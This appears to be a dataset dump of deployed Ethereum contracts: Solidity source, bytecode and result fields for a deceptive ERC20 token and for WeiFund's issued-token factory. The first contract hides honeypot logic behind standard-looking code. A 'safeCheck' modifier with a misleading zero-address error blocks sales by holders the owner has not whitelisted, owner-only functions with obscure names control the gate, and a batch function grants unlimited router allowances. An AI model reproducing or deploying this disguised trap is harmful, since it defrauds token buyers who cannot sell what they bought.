function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_BLACK(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e8446fa016228a9fda9d343aa979047e0155288591de49c9e0dcaccec880447f64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 140 |
0x60ba8afcbc08255813e97433d2d98312b2d09c97 | /*
This file is part of WeiFund.
*/
/*
A generic issued EC20 standard token, that can be issued by an issuer which the owner
of the contract sets. The issuer can only be set once if the onlyOnce option is true.
There is a freezePeriod option on transfers, if need be. There is also an date of
last issuance setting, if set, no more tokens can be issued past that time.
The token uses the a standard token API as much as possible, and overrides the transfer
and transferFrom methods. This way, we dont need special API's to issue this token.
We can retain the original StandardToken api, but add additional features.
Upon construction, initial token holders can be specified with their values.
Two arrays must be used. One with the token holer addresses, the other with the token
holder balances. They must be aligned by array index.
*/
pragma solidity ^0.4.4;
/*
This file is part of WeiFund.
*/
/*
A common Owned contract that contains properties for contract ownership.
*/
/// @title A single owned campaign contract for instantiating ownership properties.
/// @author Nick Dodson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d5bbbcb6befbb1bab1a6babb95b6babba6b0bba6aca6fbbbb0a1">[email protected]</a>>
contract Owned {
// only the owner can use this method
modifier onlyowner() {
if (msg.sender != owner) {
throw;
}
_;
}
// the owner property
address public owner;
}
/*
This file is part of WeiFund.
*/
/*
This implements ONLY the standard functions and NOTHING else.
For a token like you would want to deploy in something like Mist, see HumanStandardToken.sol.
If you deploy this, you won't have anything useful.
Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
.*/
/*
This file is part of WeiFund.
*/
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
/*
This file is part of WeiFund.
*/
/*
Used for contracts that have an issuer.
*/
/// @title Issued - interface used for build issued asset contracts
/// @author Nick Dodson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="56383f353d7832393225393816353938253338252f2578383322">[email protected]</a>>
contract Issued {
/// @notice will set the asset issuer address
/// @param _issuer The address of the issuer
function setIssuer(address _issuer) public {}
}
/// @title Issued token contract allows new tokens to be issued by an issuer.
/// @author Nick Dodson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c9a7a0aaa2e7ada6adbaa6a789aaa6a7baaca7bab0bae7a7acbd">[email protected]</a>>
contract IssuedToken is Owned, Issued, StandardToken {
function transfer(address _to, uint256 _value) public returns (bool) {
// if the issuer is attempting transfer
// then mint new coins to address of transfer
// by using transfer, we dont need to switch StandardToken API method
if (msg.sender == issuer && (lastIssuance == 0 || block.number < lastIssuance)) {
// increase the balance of user by transfer amount
balances[_to] += _value;
// increase total supply by balance
totalSupply += _value;
// return required true value for transfer
return true;
} else {
if (freezePeriod == 0 || block.number > freezePeriod) {
// continue with a normal transfer
return super.transfer(_to, _value);
}
}
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success) {
// if we are passed the free period, then transferFrom
if (freezePeriod == 0 || block.number > freezePeriod) {
// return transferFrom
return super.transferFrom(_from, _to, _value);
}
}
function setIssuer(address _issuer) public onlyowner() {
// set the issuer
if (issuer == address(0)) {
issuer = _issuer;
} else {
throw;
}
}
function IssuedToken(
address[] _addrs,
uint256[] _amounts,
uint256 _freezePeriod,
uint256 _lastIssuance,
address _owner,
string _name,
uint8 _decimals,
string _symbol) {
// issue the initial tokens, if any
for (uint256 i = 0; i < _addrs.length; i ++) {
// increase balance of that address
balances[_addrs[i]] += _amounts[i];
// increase token supply of that address
totalSupply += _amounts[i];
}
// set the transfer freeze period, if any
freezePeriod = _freezePeriod;
// set the token owner, who can set the issuer
owner = _owner;
// set the blocknumber of last issuance, if any
lastIssuance = _lastIssuance;
// set token name
name = _name;
// set decimals
decimals = _decimals;
// set sumbol
symbol = _symbol;
}
// the transfer freeze period
uint256 public freezePeriod;
// the block number of last issuance (set to zero, if none)
uint256 public lastIssuance;
// the token issuer address, if any
address public issuer;
// token name
string public name;
// token decimals
uint8 public decimals;
// symbol
string public symbol;
// verison
string public version = "WFIT1.0";
}
/// @title Private Service Registry - used to register generated service contracts.
/// @author Nick Dodson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0c62656f67226863687f63624c6f63627f69627f757f22626978">[email protected]</a>>
contract PrivateServiceRegistryInterface {
/// @notice register the service '_service' with the private service registry
/// @param _service the service contract to be registered
/// @return the service ID 'serviceId'
function register(address _service) internal returns (uint256 serviceId) {}
/// @notice is the service in question '_service' a registered service with this registry
/// @param _service the service contract address
/// @return either yes (true) the service is registered or no (false) the service is not
function isService(address _service) public constant returns (bool) {}
/// @notice helps to get service address
/// @param _serviceId the service ID
/// @return returns the service address of service ID
function services(uint256 _serviceId) public constant returns (address _service) {}
/// @notice returns the id of a service address, if any
/// @param _service the service contract address
/// @return the service id of a service
function ids(address _service) public constant returns (uint256 serviceId) {}
event ServiceRegistered(address _sender, address _service);
}
contract PrivateServiceRegistry is PrivateServiceRegistryInterface {
modifier isRegisteredService(address _service) {
// does the service exist in the registry, is the service address not empty
if (services.length > 0) {
if (services[ids[_service]] == _service && _service != address(0)) {
_;
}
}
}
modifier isNotRegisteredService(address _service) {
// if the service '_service' is not a registered service
if (!isService(_service)) {
_;
}
}
function register(address _service)
internal
isNotRegisteredService(_service)
returns (uint serviceId) {
// create service ID by increasing services length
serviceId = services.length++;
// set the new service ID to the '_service' address
services[serviceId] = _service;
// set the ids store to link to the 'serviceId' created
ids[_service] = serviceId;
// fire the 'ServiceRegistered' event
ServiceRegistered(msg.sender, _service);
}
function isService(address _service)
public
constant
isRegisteredService(_service)
returns (bool) {
return true;
}
address[] public services;
mapping(address => uint256) public ids;
}
/// @title Issued Token Factory - used to generate and register IssuedToken contracts
/// @author Nick Dodson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="93fdfaf0f8bdf7fcf7e0fcfdd3f0fcfde0f6fde0eae0bdfdf6e7">[email protected]</a>>
contract IssuedTokenFactory is PrivateServiceRegistry {
function createIssuedToken(
address[] _addrs,
uint256[] _amounts,
uint256 _freezePeriod,
uint256 _lastIssuance,
string _name,
uint8 _decimals,
string _symbol)
public
returns (address tokenAddress) {
// create a new multi sig wallet
tokenAddress = address(new IssuedToken(
_addrs,
_amounts,
_freezePeriod,
_lastIssuance,
msg.sender,
_name,
_decimals,
_symbol));
// register that multisig wallet address as service
register(tokenAddress);
}
} | 0x606060405260e060020a60003504631847c06b811461003f57806394f188be1461005c578063c22c4f4314610363578063e9d8dbfd14610395575b610002565b34610002576103a560043560016020526000908152604090205481565b3461000257604080516020600480358082013583810280860185019096528085526103b795929460249490939285019282918501908490808284375050604080518735808a013560208181028481018201909552818452989a9960449993985091909101955093508392508501908490808284375050604080516020608435808b0135601f810183900483028401830190945283835297999835986064359890975060a49650919450602491909101925081908401838280828437505060408051602060c435808b0135601f810183900483028401830190945283835297999835989760e497509195506024919091019350909150819084018382808284375094965050505050505060008787878733888888604051610a4c806104f283390180806020018060200189815260200188815260200187600160a060020a03168152602001806020018660ff1681526020018060200185810385528d8181518152602001915080519060200190602002808383829060006004602084601f0104600302600f01f15090500185810384528c8181518152602001915080519060200190602002808383829060006004602084601f0104600302600f01f1509050018581038352888181518152602001915080519060200190808383829060006004602084601f0104600302600f01f150905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b508581038252868181518152602001915080519060200190808383829060006004602084601f0104600302600f01f150905090810190601f1680156102cc5780820380516001836020036101000a031916815260200191505b509c50505050505050505050505050604051809103906000f080156100025790506103e7816000816103f3815